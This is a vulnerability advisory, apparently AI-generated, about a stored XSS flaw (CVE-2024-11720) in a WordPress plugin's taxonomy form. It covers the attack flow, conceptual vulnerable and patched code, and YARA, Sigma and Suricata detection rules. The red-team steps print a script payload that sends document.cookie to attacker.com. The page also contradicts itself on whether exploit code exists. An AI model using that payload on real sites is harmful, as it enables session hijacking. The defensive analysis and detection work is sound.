CVE-2024-11720
Executive Summary
CVE-2024-11720 is a Stored Cross-Site Scripting (XSS) vulnerability in the Frontend Admin by DynamiApps WordPress plugin, affecting all versions up to and including 3.24.5. The flaw resides in the new Taxonomy form, where insufficient input sanitization and output escaping allow unauthenticated attackers to inject arbitrary web scripts. These scripts execute whenever a user accesses a page containing the injected payload. Exploitation is only possible when lower-level users (e.g., subscribers) have been granted access to submit specific forms, a configuration that is disabled by default. The vulnerability has a CVSS score of 7.2 (High) and an EPSS score of 0.0%, indicating low exploitation likelihood at the time of analysis. No public exploit code or patch is currently available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
WordPress Ecosystem Context
This vulnerability is specific to the WordPress plugin ecosystem. The issue is not related to the underlying web server (Apache or Nginx) but stems from insecure handling of user input within the plugin’s taxonomy form submission logic.
CVSS Breakdown & Threat Level
- CVSS Score: 7.2 (High)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None (but requires a lower-level user to have form submission access)
- User Interaction: Required (victim must visit the injected page)
- Scope: Changed
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: None
Threat Level: High due to the potential for persistent script injection, which can lead to session hijacking, defacement, or phishing attacks.
Deep Dive & Mechanics
The vulnerability is located in the plugin’s handling of the new Taxonomy form. When a user submits a form to create a new taxonomy term (e.g., a category or tag), the plugin fails to properly sanitize the input and escape the output before rendering it on the page. This allows an attacker to inject malicious JavaScript code into the taxonomy name or description fields.
Root Cause:
- Insufficient Input Sanitization: The plugin does not strip or encode HTML/JavaScript from user-supplied taxonomy fields.
- Insufficient Output Escaping: When the taxonomy term is displayed (e.g., in a list or admin panel), the injected script is rendered as-is, leading to execution in the victim’s browser.
Exploitation Prerequisites:
- The WordPress site must have the Frontend Admin plugin installed and activated.
- The site administrator must have granted form submission access to lower-level users (e.g., subscribers) via the plugin’s settings. By default, this is disabled.
Attack Flow:
- An attacker registers as a lower-level user (e.g., subscriber) on the WordPress site.
- The attacker accesses the frontend form for creating new taxonomy terms.
- The attacker injects a malicious payload (e.g.,
<script>alert('XSS')</script>) into the taxonomy name field. - The plugin stores the payload in the database without sanitization.
- When an administrator or other user views the taxonomy list (e.g., in the admin panel or frontend), the script executes.
Vulnerable vs. Patched Code
Since no official patch is available, the vulnerable code pattern is described below. A patched version would need to implement proper sanitization and escaping.
Vulnerable Code (Conceptual):
// In the plugin's form handler
$taxonomy_name = $_POST['taxonomy_name'];
// No sanitization
$wpdb->insert('wp_terms', array('name' => $taxonomy_name));
// When displaying
echo $taxonomy_name; // No escaping
Patched Code (Conceptual):
// Sanitize input
$taxonomy_name = sanitize_text_field($_POST['taxonomy_name']);
// Escape output
echo esc_html($taxonomy_name);
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A WordPress instance with the Frontend Admin plugin (<= 3.24.5) installed.
- A lower-level user account (e.g., subscriber) with form submission access.
Steps:
- Log in as the lower-level user.
- Navigate to the frontend form for creating a new taxonomy term (e.g.,
/frontend-admin/new-taxonomy). - In the "Name" field, inject a payload such as:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Submit the form.
- The payload is stored and will execute when an administrator views the taxonomy list.
Expected Outcome: The attacker can steal session cookies, redirect users, or perform other client-side attacks.
Blue Team (Detection & Prevention)
Detection:
- Monitor for unusual taxonomy term names containing HTML/JavaScript.
- Review server logs for POST requests to
/frontend-admin/new-taxonomywith suspicious payloads. - Use WAF rules to block common XSS patterns in form fields.
Prevention:
- Disable form submission access for lower-level users unless absolutely necessary.
- Apply input validation and output escaping (see Remediation section).
- Keep the plugin updated once a patch is released.
Indicators of Compromise (IOCs)
Network IOCs:
- POST requests to
/wp-admin/admin-ajax.phpor/frontend-admin/new-taxonomycontaining<script>tags. - Outbound connections to known malicious domains from the WordPress server.
- POST requests to
Host IOCs:
- Database entries in
wp_termsorwp_term_taxonomycontaining HTML/JavaScript. - Unexpected JavaScript files in the WordPress uploads directory.
- Database entries in
File IOCs:
- Modified plugin files (e.g.,
frontend-admin-pro.php) with injected code.
- Modified plugin files (e.g.,
Detection Engineering
YARA Rule
rule CVE_2024_11720_Stored_XSS {
meta:
description = "Detects stored XSS payloads in Frontend Admin plugin taxonomy fields"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-11720"
strings:
$xss_payload = /<script[^>]*>.*<\/script>/i
$taxonomy_field = /taxonomy_name|taxonomy_description/i
condition:
$xss_payload and $taxonomy_field
}
Sigma Rule
title: CVE-2024-11720 Stored XSS via Frontend Admin Plugin
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects POST requests to Frontend Admin taxonomy forms with XSS payloads
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: POST
cs-uri-query|contains:
- "/frontend-admin/new-taxonomy"
- "admin-ajax.php"
cs-uri-query|re:
- "(<script|<img|<svg)"
condition: selection
falsepositives:
- Legitimate use of HTML in taxonomy names (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-11720 Stored XSS Attempt"; flow:to_server; content:"POST"; http_method; content:"/frontend-admin/new-taxonomy"; http_uri; pcre:"/(<script|<img|<svg)/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable form submission access for lower-level users (subscribers, contributors) via the plugin settings.
- Apply a virtual patch using a Web Application Firewall (WAF) to block XSS payloads in taxonomy form fields.
- Manually sanitize input by adding the following code to the plugin’s form handler (if you have developer access):
$taxonomy_name = sanitize_text_field($_POST['taxonomy_name']); $taxonomy_description = sanitize_textarea_field($_POST['taxonomy_description']);
Long-Term Fix:
- Monitor the DynamiApps plugin repository for an official patch.
- Consider replacing the plugin with an alternative that has a better security track record.
Valters IT Signature This report was generated by Valters IT DevSecOps AI. All information is provided for educational and defensive purposes only.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.